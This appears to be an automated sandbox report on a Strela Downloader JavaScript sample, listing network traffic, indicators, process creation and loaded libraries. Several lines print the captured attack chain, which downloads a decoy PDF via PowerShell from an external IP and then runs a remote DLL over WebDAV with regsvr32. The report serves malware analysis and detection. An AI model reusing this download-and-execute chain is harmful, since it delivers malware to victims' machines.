2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1687103739.0000020A38C66000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1687176169.0000020A38C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1748612415.0000021DC3E98000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1748612415.0000021DC3EBE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1748612415.0000021DC3E68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1748612415.0000021DC3E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Xp
Source: net.exe, 00000006.00000002.1748612415.0000021DC3E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/lp
Source: svchost.exe, 00000008.00000002.2971090069.000002781E200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1748503086.000002781E418000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1748503086.000002781E418000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1748503086.000002781E418000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1748503086.000002781E44D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3592, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 10076292573176921778.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5180:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m1vzstxo.fki.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 10076292573176921778.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10076292573176921778.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1556,i,8571969027995693465,18200781173583112081,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1556,i,8571969027995693465,18200781173583112081,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
